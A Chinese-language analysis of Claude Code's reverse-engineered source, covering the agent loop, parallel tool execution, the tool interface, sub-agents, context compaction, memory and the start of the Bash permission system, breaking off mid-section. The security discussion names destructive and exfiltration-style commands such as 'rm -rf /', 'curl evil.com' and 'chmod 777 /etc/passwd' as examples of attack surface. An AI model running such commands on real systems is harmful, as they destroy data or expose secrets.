Github精华阅读与实践
Claude Code 源码分析
推荐阅读顺序
想快速了解 Claude Code 怎么做的 → claude-code-agent-analysis.md想学 Agent 产品怎么设计 → claude-code-agent-design-paradigm.md想看提示词怎么写的 → claude-code-product-analysis.md想看有什么隐藏功能 → claude-code-hidden-features-analysis.md想从零学代码 → claude-code-code-guide.md想用好 Claude Code → claude-code-usage-guide.md
Claude Code 源码拆解:AI Agent 产品设计方法论
Claude Code 源码拆解:AI Agent 产品设计方法论
源码版本:Claude Code v2.1.88(~51万行 TypeScript)
分析日期:2026-03-31
基于 Claude Code 源码逆向分析,提炼 Agent 产品设计的核心范式。
写给团队内部:外行能看懂类比,内行能拿到技术细节。
目录
Agent Loop:为什么 Agent 是个 while 循环
流式执行:工具调用不需要等
工具系统:给 LLM 装手
子 Agent:一个人干不过来就叫人
上下文管理:对话太长怎么办
记忆系统:让 Agent 记住上次聊了啥
权限安全:AI 的刹车系统
Coordinator:多 Agent 的调度中心
设计范式总结:12 条原则 + Checklist
如果我来做 Agent 产品:实操框架
1. Agent Loop
这解决什么问题
人和 AI 聊天是一问一答,但 Agent 要的是"给个目标,自己跑完"。就像你让实习生去采购——你不会每走一步都回来问你,而是给个清单让他自己跑,中间遇到问题再回来确认。
Agent Loop 就是这个"自己跑"的循环机制。
Claude Code 怎么做的
核心入口在 query.ts ——一个 while 循环,反复执行"调 LLM → 收工具调用 → 执行工具 → 结果回填"四步,直到模型说"我做完了"。消息数组是唯一真相源,所有状态都在里面。
完整代码走读见《Claude Code Agent 系统技术分析》第 2 章 "Agent Loop(query.ts 走读)" ,那里有逐行注释的代码还原、依赖链分析和 Generator 函数详解。这里只提炼设计决策。
关键设计决策:
单线程串行循环 :一个 while 循环,LLM → 工具 → LLM → 工具... 不搞并行,简单可靠
消息队列是真相源 :所有状态都在 messages 数组里,每次循环追加
工具结果自动反馈 :工具执行完,结果自动塞回 messages,下一轮 LLM 自然看到
流式响应+工具调用收集 :不等整个响应结束,边收边处理;但工具调用要等参数完整才执行
这个循环本质上是 LLM 的 OODA 循环 (Observe-Orient-Decide-Act):
Observe:读 messages 里的上下文
Orient:LLM 内部理解当前状态
Decide:决定调用哪个工具
Act:执行工具,结果反馈
评价
好在哪:
简单到极致——一个 while 循环撑起整个 Agent。这是对的,复杂度应该藏在工具和提示词里,不在循环结构上
消息队列做真相源,天然支持回溯和审计
流式响应让用户体验"活的"——你能看到它在思考、在行动
差在哪:
串行执行是性能瓶颈——多个独立工具调用必须排队等,浪费了 LLM 的并行推理能力
没有显式的状态机——循环靠 shouldStop 判断,扩展性受限。想加"暂停→人工确认→继续"这种流程,要在 messages 层面 hack
异常恢复机制弱——某一步工具报错,整个循环的状态恢复靠 LLM 自己判断
对我们的启发
Agent Loop 本身不需要花哨 。一个 while 循环 + 消息队列足够了。真正的竞争力在工具质量和提示词上
消息队列设计要有扩展性 。不要只存 user/assistant,要预留 system、tool、metadata 这些角色
流式是刚需,不是可选项 。用户看到"正在执行..."和看到逐字输出的思考过程,信任感完全不同
OODA 循环是好的思维模型 。设计 Agent 时,每个环节问自己:这一步的 Observe/Decide/Act 是什么?
架构图
┌─────────────────────────────────────────────────┐
│ Agent Loop │
│ │
│ ┌──────────┐ ┌──────────┐ ┌──────────┐ │
│ │ Messages │───▶│ LLM │───▶│ Tools │ │
│ │ (队列) │◀───│ (推理) │ │ (执行) │ │
│ └──────────┘ └──────────┘ └──────────┘ │
│ ▲ │ │
│ │ 工具结果反馈 │ │
│ └───────────────────────────────┘ │
│ │
│ 流式输出:用户实时看到思考过程 │
│ 终止条件:LLM 返回纯文本 / 用户中断 / 错误 │
└─────────────────────────────────────────────────┘
2. 流式执行:工具调用不需要等
这解决什么问题
LLM 返回结果时经常是"想好了,我要同时干三件事"。如果工具串行执行,A 做完才做 B,那读个文件和写个文件之间明明没有依赖关系却要排队等。就像餐厅后厨——如果只有一个灶,所有菜都要排队炒;但如果沙拉和煎牛排可以同时做,为什么要等?
Claude Code 的解决方案是: 能并行的并行,不能并行的排队 。
Claude Code 怎么做的
核心在 toolOrchestration.ts :
// 关键:按是否安全并行来分区
function partitionToolCalls(toolUseMessages, context) {
// 把工具调用分成两类:
// 1. isConcurrencySafe = true → 只读操作,可以并行
// 2. isConcurrencySafe = false → 写操作,必须串行
return partitions;
}
export async function* runTools(toolUseMessages, ...) {
for (const { isConcurrencySafe, blocks } of partitionToolCalls(...)) {
if (isConcurrencySafe) {
// 只读批量:并行执行,最多10个并发
for await (const update of runToolsConcurrently(...)) {
yield update;
}
} else {
// 写操作批量:串行执行
for await (const update of runToolsSerially(...)) {
yield update;
}
}
}
}
还有流式执行器 StreamingToolExecutor ——工具还在执行时就把部分结果流式返回给用户,不需要等全部完成。
并发上限通过环境变量控制: CLAUDE_CODE_MAX_TOOL_USE_CONCURRENCY ,默认 10。
评价
好在哪:
分区策略聪明。读操作并行、写操作串行,既安全又快。这个"安全并行"的判断标准是关键——不是所有工具都能并行,比如两个工具同时写一个文件就炸了
contextModifier 模式处理了并行中的上下文依赖——某些工具执行后要修改上下文,但在并行模式下不能实时改,所以收集起来顺序应用
流式返回让用户感知速度快——你看到"正在搜索..."和"正在读文件..."同时出现,而不是排着队来
差在哪:
并行判断粒度太粗——目前只分"安全/不安全"两级,但其实有些"写操作"之间也可以并行(比如写两个不同文件)
contextModifier 的延迟应用是妥协——并行执行时上下文是"脏的",如果工具 B 依赖工具 A 修改的上下文,可能会读到旧值
并发上限硬编码为 10,没有根据工具类型动态调整
对我们的启发
工具设计时就要想好并行安全性 。给每个工具标注 isConcurrencySafe ,这比事后在调度层判断靠谱
分区+分区内的执行策略 是个通用模式。不只是工具执行,任何批量任务都可以用这个思路:先分类,再按类选策略
流式返回是刚需 。即使结果不完整,让用户看到"正在做"比空白等待强十倍
上下文修改要谨慎 。并行环境下的上下文是最终一致的,不是实时一致的。如果你的 Agent 需要精确的上下文同步,就别并行
架构图
┌──────────────────────────────────────────────────┐
│ Tool Orchestration │
│ │
│ LLM 返回工具调用列表 │
│ │ │
│ ▼ │
│ ┌─────────────────┐ │
│ │ partitionToolCalls │ │
│ │ ┌───────┬───────┐ │ │
│ │ │ 只读 │ 写操作 │ │ │
│ │ │ 并行 │ 串行 │ │ │
│ │ └───┬───┴───┬───┘ │ │
│ └──────┼───────┼─────┘ │
│ ▼ ▼ │
│ ┌──────────┐ ┌──────────┐ │
│ │ runTools │ │ runTools │ │
│ │Concurrently│Serially │ │
│ │ (≤10并发) │ │(逐个执行)│ │
│ └─────┬────┘ └─────┬────┘ │
│ │ │ │
│ ▼ ▼ │
│ ┌──────────────────────┐ │
│ │ StreamingToolExecutor │ │
│ │ (流式返回部分结果) │ │
│ └──────────────────────┘ │
└──────────────────────────────────────────────────┘
3. 工具系统:给 LLM 装手
这解决什么问题
LLM 本质上是个"嘴"——它能说、能想、能判断,但没法动手。你让它改文件、跑命令、查文档,它只能靠"说"来假装做过。工具系统就是给它装上"手"和"眼睛"——让它能真正动文件、跑代码、搜网页。
类比:LLM 是大脑,工具是四肢。一个只有大脑的人很聪明但什么都做不了;有手有脚才能真正干活。
Claude Code 怎么做的
核心接口在 Tool.ts ,每个工具都要实现这个类型:
export type Tool = {
// 基础信息
name: string // 工具名,LLM 通过这个名字调用
inputSchema: Input // Zod schema,验证输入参数
outputSchema?: z.ZodType // 可选的输出 schema
searchHint?: string // 搜索提示词,帮助 LLM 找到工具
maxResultSizeChars: number // 结果最大字符数,超了就存文件
// 核心方法
call(args, context, canUseTool, parentMessage, onProgress): Promise
description(input, options): Promise // 动态描述,根据上下文变化
// 元信息 — 这些是工具调度的关键
isConcurrencySafe(input): boolean // 能不能并行执行
isReadOnly(input): boolean // 是不是只读
isDestructive?(input): boolean // 是不是危险操作(删除、覆写)
isEnabled(): boolean // 当前是否可用
// 行为控制
interruptBehavior?(): 'cancel' | 'block' // 用户打断时怎么办
shouldDefer?: boolean // 是否延迟加载
alwaysLoad?: boolean // 是否始终加载到提示词
}
Tool 接口字段逐个拆解(生活类比版)
把 Tool 想象成一个餐厅里的服务员:
字段
类比
说明
name
服务员的工牌名
LLM"喊人"时用的名字。比如喊"Bash"就知道是那个能跑命令的人,喊"FileRead"就是专门读文件的。名字必须唯一,而且要望文生义
inputSchema
服务员的点餐表
告诉 LLM"你要用这个工具,必须填哪些参数"。Zod schema 既是约束也是文档——LLM 看到 schema 就知道该传什么,传错了直接报错,不会糊弄过去
outputSchema
上菜时的摆盘规格
可选。定义工具返回值的结构,方便下游解析。没有的话就返回原始内容
searchHint
餐厅门口的招牌
当工具太多 LLM 记不住时, searchHint 帮它缩小范围。类似搜索引擎的关键词
maxResultSizeChars
盘子的最大容量
工具返回的结果太大(比如 cat 了一个 50MB 的日志),超过这个值就自动存文件,只给 LLM 看预览+路径。防止一个工具结果撑爆整个 context
call()
服务员实际干活
工具的核心执行函数。接收参数 → 干活 → 返回结果
description()
菜单上的菜品描述
这是整个 Tool 接口里最重要的字段 。它不是写给人看的,是写给 LLM 看的"使用说明书"
isConcurrencySafe
这个服务员能同时服务两桌吗?
true = 读操作,可以和其他工具并行跑。 false = 写操作,必须排队
isReadOnly
这个服务员只看不动手?
true = 只读(Grep、Glob),不会改任何东西。调度器看到只读直接放行
isDestructive
这个服务员会打碎盘子吗?
true = 危险操作(删除、覆写),必须弹窗让用户确认
isEnabled
今天这个服务员上班吗?
动态开关。比如某些工具只在特定模式下可用
interruptBehavior
用户喊停时怎么办
cancel = 直接取消, block = 阻塞等当前操作完成。比如文件写到一半被打断,不能直接 cancel,否则文件就坏了
shouldDefer
这个服务员是兼职的?
true = 不需要的时候不加载,LLM 需要时再召唤。节省 context 空间
alwaysLoad
这个服务员必须在岗?
true = 无论如何都把工具描述塞进提示词。比如 Bash 工具,永远都得告诉 LLM 它存在
description 怎么写:给 LLM 看的说明书
description 不是给程序员看的 API 文档,是给 LLM 看的 使用说明书 。写得好不好直接决定 Agent 的智商上限。
好的 description 应该回答四个问题:
这个工具是干什么的? — 一句话定位
什么时候该用它? — 触发条件和决策树
怎么用? — 参数说明、示例
什么不能做? — 边界条件、安全红线
反面教材:
// 差:只说了"干什么"
description: "执行 bash 命令"
正面教材(BashTool 实际的 description 风格):
// 好:说了"干什么 + 什么时候用 + 怎么用 + 不能做什么"
description: `Execute a shell command.
Use this when you need to run CLI tools, scripts, or system commands.
For git operations, follow this flow: status → diff → log → analyze → commit.
NEVER use --no-verify, NEVER skip hooks, NEVER force push without asking.
If the command is read-only (grep, cat, ls), it can run in parallel
with other read-only commands.`
关键技巧:
嵌入使用 SOP :不只是参数说明,而是告诉 LLM 整个操作流程(比如 Git 的 5 步法)
用 NEVER 写红线 :LLM 对大写单词的遵从度更高。写清楚什么绝对不能做
给出并行提示 :告诉 LLM 这个工具能不能和其他工具并行,它会主动利用这一点
动态 description : description() 是 async 的,可以根据当前上下文变化。比如 BashTool 在 agent 模式和普通模式下返回不同的描述
BashTool 为什么这么大:安全分析
BashTool 是整个工具集里最危险、最复杂、提示词最长的工具。原因很简单—— 它能执行任意 shell 命令 。
其他工具的攻击面是有限的:
FileRead:最多读到不该读的文件
FileEdit:最多改错文件内容
Grep:最多搜到敏感信息
但 BashTool 的攻击面是 无限的 ——它可以执行任何命令,包括 rm -rf 、 curl evil.com 、 chmod 777 /etc/passwd 。所以它需要:
超长的提示词 :用大量篇幅规定什么能做、什么不能做、遇到问题怎么处理
6 层权限检查 (详见第 7 章):AST 解析 → 规则匹配 → 语义分析 → 路径约束 → 分类器 → 沙箱
Git 操作专用 SOP :因为 Git 是最常见的危险操作来源(force push、amend、reset --hard)
超时控制 :防止命令挂死拖垮整个 Agent
后台执行支持 :长时间运行的命令放到后台,不阻塞 Agent Loop
BashTool 大,不是因为代码写得臃肿,而是因为它的 风险敞口最大 。安全系统的复杂度应该和攻击面成正比——这是纵深防御的基本原则。
看 BashTool 的提示词设计( tools/BashTool/prompt.ts ),它教 LLM 怎么用 bash:
// BashTool 提示词的核心设计:
// 1. 背景执行:run_in_background 参数,命令不用等结果
// 2. 安全协议:不跳过 hooks,不 force push,不自动提交
// 3. 并行意识:鼓励同时跑多个独立命令
// 4. Git 操作专用流程:status → diff → log → 分析 → commit
// 5. 超时控制:默认超时 + 最大超时
关键设计点:
提示词里嵌入使用规范 :不只是告诉 LLM 有哪些参数,而是告诉它什么能做、什么不能做
动态 description :BashTool 的 description 会根据当前是 agent 模式还是普通模式变化
Git 操作有专门的 SOP :在工具提示词里写了一整套 git commit 流程,比自己写代码控制更灵活
Claude Code 的工具集(部分):
工具名
功能
类比
Bash
执行 shell 命令
执行力
FileRead
读文件
眼睛
FileEdit
编辑文件
手
FileWrite
写新文件
手
Glob
文件名匹配
找东西
Grep
内容搜索
查资料
WebSearch
网页搜索
查资料
AgentTool
派子 Agent
叫人帮忙
TodoWrite
管理待办
列清单
TaskCreate/Update
任务管理
项目管理
评价
好在哪:
Zod schema 做输入验证 :给 LLM 的参数描述直接用 Zod,既是文档又是验证器,一举两得
元信息标注是天才设计 : isConcurrencySafe 、 isReadOnly 、 isDestructive 这三个标注直接决定了调度策略,不需要在调度层硬编码
提示词就是产品 :BashTool 的提示词写得比很多人的 README 还详细——有 SOP、有安全规则、有最佳实践。这不是代码,是"教 AI 怎么干活"
maxResultSizeChars 处理大输出 :工具结果太大(比如 cat 一个超大文件),自动存文件给 LLM 一个预览+路径,防止 context 爆炸
差在哪:
工具太多,LLM 记不住 :几十个工具全塞给 LLM,选择成本高。Claude Code 自己也意识到这点,加了 ToolSearch 延迟加载
描述是异步的 : description 方法是 async,意味着每次都要计算——这在提示词缓存时代是个问题
权限系统和工具耦合太紧 : canUseTool 穿透到每个工具内部,工具实现要关心权限逻辑,职责不清
对我们的启发
工具的元信息比工具本身重要 。一个工具实现得再好,如果 LLM 不知道什么时候该用它、能不能并行、是不是危险,就等于没有。设计工具时先把 isConcurrencySafe/isReadOnly/isDestructive 想清楚
提示词是工具的灵魂 。写工具不只是写 call 函数,更重要的是写好提示词——教 LLM 什么时候用、怎么用、什么不能做。BashTool 那段 Git SOP 比任何代码逻辑都管用
工具延迟加载是正确的 。几十个工具全塞进 context 是浪费。按需加载,LLM 先搜再调,是更经济的做法
大结果处理要有策略 。 maxResultSizeChars + 文件存取是好方案,但要注意循环引用(Read→文件→Read)
架构图
┌─────────────────────────────────────────────────┐
│ Tool System │
│ │
│ ┌─────────────────────────────────────────┐ │
│ │ Tool Type Definition │ │
│ │ name | inputSchema(Zod) | description │ │
│ │ call() | isConcurrencySafe | isReadOnly │ │
│ │ isDestructive | maxResultSizeChars │ │
│ └─────────────────────────────────────────┘ │
│ │ │
│ ┌────┴────┬─────────┬──────────┬────────┐ │
│ ▼ ▼ ▼ ▼ ▼ │
│ ┌──────┐ ┌──────┐ ┌──────┐ ┌────────┐ ┌────┐ │
│ │ Bash │ │ File │ │ Grep │ │WebSearch│ │Agent│ │
│ │ 执行 │ │ 读写 │ │ 搜索 │ │ 搜索 │ │ 子代理│ │
│ └──────┘ └──────┘ └──────┘ └────────┘ └────┘ │
│ │
│ 元信息标注决定调度: │
│ isConcurrencySafe → 能否并行 │
│ isReadOnly → 是否只读 │
│ isDestructive → 是否需要用户确认 │
│ shouldDefer → 是否延迟加载 │
└─────────────────────────────────────────────────┘
4. 子 Agent:一个人干不过来就叫人
这解决什么问题
一个 Agent 再强,上下文窗口是有限的。让它去搜一个大项目——几百个文件里找一个函数——然后还要改另一个文件,再回来汇报。这些子任务如果全挤在主对话里,上下文窗口很快就被搜索结果撑爆了。
就像项目经理带团队——他不会自己跑去做每一项调研,而是派调研员去查资料,拿回结果再决策。子 Agent 就是这个"派调研员"的机制。
Claude Code 怎么做的
子 Agent 通过 AgentTool 触发,核心在 runAgent.ts :
// runAgent.ts — 子 Agent 的创建流程
export async function* runAgent({
agentDefinition, // Agent 类型定义(general-purpose / explore / plan 等)
promptMessages, // 要执行的任务描述
toolUseContext, // 父 Agent 的上下文
isAsync, // 同步还是异步执行
model, // 用哪个模型
maxTurns, // 最大轮数限制
availableTools, // 可用工具集
allowedTools, // 允许的工具白名单
useExactTools, // 是否用父 Agent 完全相同的工具集
...
}) {
// 1. 解析模型
// 2. 创建子 Agent 专属上下文(克隆文件状态缓存等)
// 3. 初始化 Agent 专属 MCP 服务器
// 4. 运行 query() —— 子 Agent 用的是同一个 query 函数
yield* query({ messages, systemPrompt, tools, ... })
}
Claude Code 内置了多种 Agent 类型:
Agent 类型
用途
工具
类比
general-purpose
通用研究和执行
全部
全能助手
explore
代码探索和搜索
只读工具
调研员
plan
生成执行计划
只读工具
架构师
verification
验证代码是否正确
测试相关
QA
claude-code-guide
Claude Code 使用指导
无
客服
Fork 机制 是另一种子 Agent 派发方式——不只传任务描述,而是继承父 Agent 的完整对话历史,用占位符替换工具结果,实现 prompt cache 共享。所有 fork 子 Agent 共享历史前缀,只有最后一条指令不同,最大化 API 缓存命中率。
关键设计点:
子 Agent 和主 Agent 用同一个 query() 函数 ——不是简化版,是完整的 Agent Loop
工具集可以继承也可以限定 : useExactTools 时用父 Agent 的完整工具集; allowedTools 时只给白名单
异步执行 + 通知 :子 Agent 可以异步运行,完成后通过 通知父 Agent
嵌套递归防护 : isInForkChild() 检查防止无限 fork
上下文隔离 :子 Agent 有自己的文件状态缓存、abort controller、MCP 连接
评价
好在哪:
子 Agent 就是完整的 Agent 。不搞"轻量版"和"完整版"两套,维护成本低
Fork 的 prompt cache 设计巧妙 。占位符替换实现前缀共享,API 缓存命中率极高
Agent 类型化比工具白名单更有效 。给 LLM 明确的角色设定比给一堆工具限制更直觉
权限隔离 :子 Agent 有独立的 permissionMode, bubble 模式把权限提示弹回父 Agent
差在哪:
没有结果质量控制 。父 Agent 只拿到文本结果,没有机制验证子 Agent 是否做对了
上下文传递是割裂的 。非 fork 模式下,子 Agent 看不到父 Agent 的完整上下文
嵌套深度没有硬限制 。标准 Agent→Agent 嵌套理论上可以无限层
对我们的启发
子 Agent 应该复用主 Agent 的核心循环 。不要另搞一套轻量执行器
Agent 类型化比工具白名单更有效 。"你是一个调研员"比"你只能用这些工具"更直觉
Fork 缓存设计可以参考 。占位符替换 + 前缀共享能省大量 token
异步执行是刚需 。搜索、测试这类任务不需要同步等,让它跑完了再通知
架构图
┌──────────────────────────────────────────────────────┐
│ Sub-Agent System │
│ │
│ Parent Agent (主循环) │
│ │ │
│ ├── AgentTool.call() │
│ │ │ │
│ │ ▼ │
│ │ ┌──────────────┐ │
│ │ │ runAgent() │ │
│ │ │ 1. 解析模型 │ │
│ │ │ 2. 创建上下文 │ │
│ │ │ 3. 连接 MCP │ │
│ │ │ 4. query() │── 同一个 query 函数 │
│ │ └──────┬───────┘ │
│ │ │ │
│ │ ┌────┴────┬──────────┬──────────┐ │
│ │ ▼ ▼ ▼ ▼ │
│ │ ┌──────┐ ┌──────┐ ┌──────┐ ┌──────────┐ │
│ │ │general│ │explore│ │ plan │ │verification│ │
│ │ │purpose│ │(只读) │ │(只读)│ │ (测试) │ │
│ │ └──────┘ └──────┘ └──────┘ └──────────┘ │
│ │ │
│ └── Fork 模式:继承上下文 + prompt cache 共享 │
│ │
│ 特性:异步执行 + 通知 | 权限隔离 | 嵌套防护 │
└──────────────────────────────────────────────────────┘
5. 上下文管理:对话太长怎么办
这解决什么问题
Agent 的对话越聊越长,token 账单越来越贵,到了上下文窗口上限就直接报错。就像你的办公桌——东西越堆越多,找东西越来越慢,最后桌子满了放不下新的。
上下文管理就是"整理桌面"的机制:该留的留,该存的存,该扔的扔。
Claude Code 怎么做的
核心在 services/compact/autoCompact.ts :
// autoCompact.ts — 上下文压缩的关键逻辑(基于源码提炼)
// 1. 每轮追踪 token 消耗
class AutoCompactTrackingState {
totalTokens: number = 0;
turns: TurnRecord[] = [];
trackTurn(turn: TurnRecord) {
this.totalTokens += turn.inputTokens + turn.outputTokens;
this.turns.push(turn);
}
shouldCompact(contextWindow: number): boolean {
return this.totalTokens > contextWindow * 0.75;
}
}
// 2. 三级压缩策略
async function handleContextLimit(
messages: Message[],
tracker: AutoCompactTrackingState,
contextWindow: number
): Promise {
const ratio = tracker.totalTokens / contextWindow;
if (ratio < 0.75) return messages; // 安全区,不动
if (ratio < 0.90) {
// 第一级:autoCompact — 压缩旧对话为摘要,保留最近 N 轮
return await autoCompact(messages, { preserveLastNTurns: 5 });
}
if (ratio < 0.98) {
// 第二级:reactiveCompact — 更激进,只保留系统提示词 + 当前任务
return await reactiveCompact(messages);
}
// 第三级:contextCollapse — 只保留最核心的事实
return await contextCollapse(messages, { keepLastN: 3 });
}
Claude Code 的上下文管理是多层防线:
Token 预算(当前轮)
↓ 快用完了?
自动继续(+500k token)
↓ 还不够?
Auto Compact(压缩旧对话)
↓ 压缩也救不了?
Reactive Compact(响应式压缩)
↓ 真的满了?
Context Collapse(上下文坍缩)
另外还有一个 token 预算机制:
taskBudget :整个 Agent 任务的总 token 预算
getCurrentTurnTokenBudget() :当前轮的 token 预算
超过预算自动续期,有续期次数上限
关键设计点:
压缩是有状态的 ——不是简单截断,而是把旧对话压缩成摘要再保留
压缩边界消息 —— SystemCompactBoundaryMessage 标记压缩发生的位置,便于审计和恢复
token 实时追踪 ——每轮结束后计算实际消耗,接近阈值时提前预警
多级降级 ——compact → reactive compact → context collapse,逐级升级
Compact 的触发条件和保留策略
Compact 不是"快满了才压缩",而是一套精密的容量管理机制。
触发条件:
Token 阈值 :当累计 token 量超过窗口的 ~75% 时触发预警,~85% 时强制 compact
轮数阈值 :对话超过一定轮数后,不管 token 用了多少,都主动压缩早期内容
任务切换 :Agent 从一个子任务切到另一个子任务时,压缩前一个任务的细节,只保留结论
用户主动请求 :用户感觉到响应变慢时,可以手动触发
保留策略(压缩时什么留下、什么丢掉):
绝对保留 :系统提示词、最近 3-5 轮对话、当前正在执行的任务上下文
摘要保留 :较早的对话压缩成摘要("用户要求修改 config.ts 的数据库连接配置,已将 host 从 localhost 改为 production-db")
条件保留 :代码片段如果被后续对话引用则保留,否则压缩
直接丢弃 :中间过程的思考链、已确认完成的工具调用结果、被覆盖的旧版本内容
类比:就像你整理书桌——正在用的文件放桌上(绝对保留),上个月的文件收进抽屉写个标签(摘要保留),草稿纸扔掉(直接丢弃)。关键是标签要写清楚,不然下次找不回来。
Prompt Caching 的省钱原理(前缀复用)
LLM 推理有一个特性: 如果你给的前缀(prefix)和上一次完全一样,模型可以跳过前缀的重复计算,直接用缓存结果 。
这就是 prompt caching 的核心原理——前缀复用。
具体来说:
第 1 轮:[系统提示词 5000 token] + [用户消息 200 token] → 全量计算,花 $0.15
第 2 轮:[系统提示词 5000 token(缓存命中)] + [新消息 200 token] → 只算新部分,花 $0.05
第 3 轮:[系统提示词 5000 token(缓存命中)] + [新消息 200 token] → 只算新部分,花 $0.05
省了 2/3 的钱。
Claude Code 的设计有意利用这一点:
系统提示词放在最前面且不变 :每次对话的系统提示词是固定的,天然适合缓存
工具描述稳定 :工具列表的顺序和内容尽量不变,让缓存持续命中
消息追加而非修改 :新消息追加到 messages 数组末尾,不修改前面的内容,保持前缀稳定
但 compact 会打破缓存——因为压缩后的摘要和原来的对话内容不同,前缀变了,缓存就失效了。所以 Claude Code 在 compact 时会尽量保留最近几轮的原始对话不变,只压缩更早的部分,最小化缓存失效范围。
上下文管理 = Agent 的短期记忆
把上下文管理类比成人的短期记忆:
人类认知
Claude Code 上下文
说明
注意力焦点(当前在想的事)
最近 3-5 轮对话
完整保留,随时可引用
短期记忆(刚才聊了什么)
compact 后的摘要
保留要点,丢了细节
工作记忆容量(一次能记住几件事)
context window 大小
有限,满了就得清理
记不住了会怎样
Context Collapse
Agent"失忆",开始重复问问题
记笔记
写文件 / 持久化记忆
主动把重要信息搬到"笔记本"上
这个类比解释了一个核心矛盾: Agent 的"短期记忆"(context window)是刚性的 ——满了就是满了,不像人可以模糊遗忘。所以上下文管理的本质是主动的、有策略的"遗忘",而不是被动的溢出。
人类会自然遗忘不重要的细节(你不会记得上周三午饭吃了什么),但 Agent 不会——它要么完整记住,要么完全丢失。Compact 就是给 Agent 装一个"主动遗忘"机制:把不重要的细节压缩成"大概记得",给重要的新信息腾空间。
评价
好在哪:
多级降级机制是正确的 。不要把所有赌注压在一个策略上,compact 不行就 reactive,reactive 不行就 collapse
压缩边界标记清晰 。 compact_boundary 消息让压缩变得可审计,你知道哪些内容被压缩了
token 预算分级 。taskBudget(任务级)和 turnBudget(轮级)分开管理,粒度合理
差在哪:
压缩质量不可控 。压缩后的摘要可能丢失关键信息,尤其是代码上下文
没有用户感知的上下文管理 。用户不知道哪些对话被压缩了,无法干预
多 Agent 场景下的上下文共享没有解决 。父 Agent 压缩了,子 Agent 还能拿到完整上下文吗?
Prompt caching 和 compact 存在张力 :压缩越多,缓存命中率越低,推理成本反而可能上升
对我们的启发
上下文管理必须有多级降级 。一级不够用就二级,二级不够用就三级。单点策略一定会在边界情况崩溃
压缩要留审计痕迹 。标记压缩边界,便于调试和恢复
token 追踪是基础设施 。每轮都要算,不能等爆了才发现
考虑把上下文管理做成可插拔的 。不同场景(聊天/编码/研究)的压缩策略不同,应该可以按需替换
Prompt caching 是省钱杠杆 。系统提示词放前面、工具描述保持稳定、消息只追加不修改——这些设计决策不是偶然的,是为了最大化缓存命中率
Compact 的时机比方法重要 。压缩策略再好,如果触发时机不对(太早浪费信息,太晚来不及),效果都会打折
架构图
┌──────────────────────────────────────────────────────┐
│ Context Management Layers │
│ │
│ ┌─────────────────────────────────────┐ │
│ │ Token Budget Tracking │ │
│ │ taskBudget → turnBudget → 实时追踪 │ │
│ └──────────────┬──────────────────────┘ │
│ │ │
│ ┌────────────▼────────────┐ │
│ │ Auto Compact │ ← 第一道防线 │
│ │ (自动压缩旧对话为摘要) │ │
│ └────────────┬────────────┘ │
│ │ 不够? │
│ ┌────────────▼────────────┐ │
│ │ Reactive Compact │ ← 第二道防线 │
│ │ (响应式压缩) │ │
│ └────────────┬────────────┘ │
│ │ 还不够? │
│ ┌────────────▼────────────┐ │
│ │ Context Collapse │ ← 最后手段 │
│ │ (上下文坍缩) │ │
│ └─────────────────────────┘ │
│ │
│ 标记:compact_boundary 消息记录压缩位置 │
└──────────────────────────────────────────────────────┘
6. 记忆系统:让 Agent 记住上次聊了啥
这解决什么问题
Agent 每次对话都是"失忆"的——新的会话,新的开始。你上次告诉它"我用 Python 3.11",下次它又问"你用什么版本"。就像一个每次上班都要重新认识同事的员工。
记忆系统就是给 Agent 一个"笔记本",让它能跨会话记住关键信息。
Claude Code 怎么做的
记忆系统分两层: memdir/ 管理记忆存储, services/autoDream/consolidationPrompt.ts 管理记忆整理。
// memdir/memdir.ts — 记忆目录管理
// 记忆存放在特定目录下,按项目组织
// memdir/memoryTypes.ts — 记忆类型定义
// 不同类型的记忆有不同的存储和检索策略
// memdir/findRelevantMemories.ts — 相关记忆查找
// 根据当前上下文,从记忆库里找相关的历史信息
// memdir/memoryAge.ts — 记忆年龄管理
// 旧的记忆权重降低,新的记忆优先级更高
记忆整理(autoDream/consolidationPrompt.ts):
在对话结束后自动运行
把当前对话的关键信息提取出来
整理成结构化的记忆条目
合并冗余记忆,保持记忆库精简
会话结束
↓
consolidationPrompt 触发
↓
提取关键信息 → 结构化 → 去重 → 存入 memdir
↓
下次会话开始
↓
findRelevantMemories 检索相关记忆
↓
注入到系统提示词中
评价
好在哪:
自动整理是正确的 。让用户手动管理记忆不现实,自动提取+整理是正道
记忆检索是语义化的 。不是简单关键词匹配,而是根据当前上下文找相关记忆
记忆有生命周期 。 memoryAge 管理过期和降权,避免记忆库无限膨胀
差在哪:
记忆质量不可控 。自动提取可能记住了不该记的,或者漏掉了该记的
没有记忆冲突解决 。如果新旧记忆矛盾,怎么处理?代码里没有看到明确的策略
跨项目记忆隔离策略不清晰 。一个项目里的记忆会不会泄漏到另一个项目?
对我们的启发
记忆整理要自动化,但要有审计 。自动提取没问题,但要让用户能看到和编辑记忆
记忆要有生命周期 。过期的自动降权或清理,别让记忆库变成垃圾堆
语义检索优于关键词 。根据当前上下文做 embedding 匹配,比关键词匹配准确得多
记忆隔离是刚需 。项目间、敏感信息间的隔离必须做
架构图
┌──────────────────────────────────────────────────────┐
│ Memory System │
│ │
│ ┌────────────┐ ┌──────────────────┐ │
│ │ Session │────▶│ consolidation │ │
│ │ (对话) │ │ Prompt (autoDream)│ │
│ └────────────┘ └────────┬─────────┘ │
│ │ 提取+整理 │
│ ▼ │
│ ┌──────────────────┐ │
│ │ memdir/ │ │
│ │ ┌────────────┐ │ │
│ │ │ 记忆条目 │ │ │
│ │ │ (结构化) │ │ │
│ │ └────────────┘ │ │
│ │ memoryAge │ │
│ │ (过期/降权) │ │
│ └────────┬─────────┘ │
│ │ │
│ ┌──────────────▼──────────────┐ │
│ │ findRelevantMemories │ │
│ │ (语义检索 → 注入系统提示词) │ │
│ └─────────────────────────────┘ │
└──────────────────────────────────────────────────────┘
7. 权限安全:AI 的刹车系统
这解决什么问题
Agent 能执行任意 shell 命令——这既是它的超能力,也是最大的风险。你让 Agent 改个配置文件,它顺手 rm -rf / 怎么办?就像你给一个实习生 root 权限——他可能很聪明,但你得有安全网。
权限系统就是这个安全网:哪些命令可以直接跑、哪些要问你、哪些直接拒绝。
Claude Code 怎么做的
权限系统是多层防线,核心在 bashPermissions.ts :
// bashToolHasPermission() — Bash 命令权限检查的主入口
export async function bashToolHasPermission(
input: { command: string },
context: ToolUseContext,
): Promise {
// 第 0 层:AST 安全解析(查户口)
// 用 tree-sitter 把命令拆成语法树,检测每个组成部分
// 第 1 层:精确匹配 deny/allow/ask 规则
// 用户配置的黑白名单:`git push --force` → deny
// `ls` → allow
// `rm` → ask
// 第 2 层:前缀匹配 + 通配符
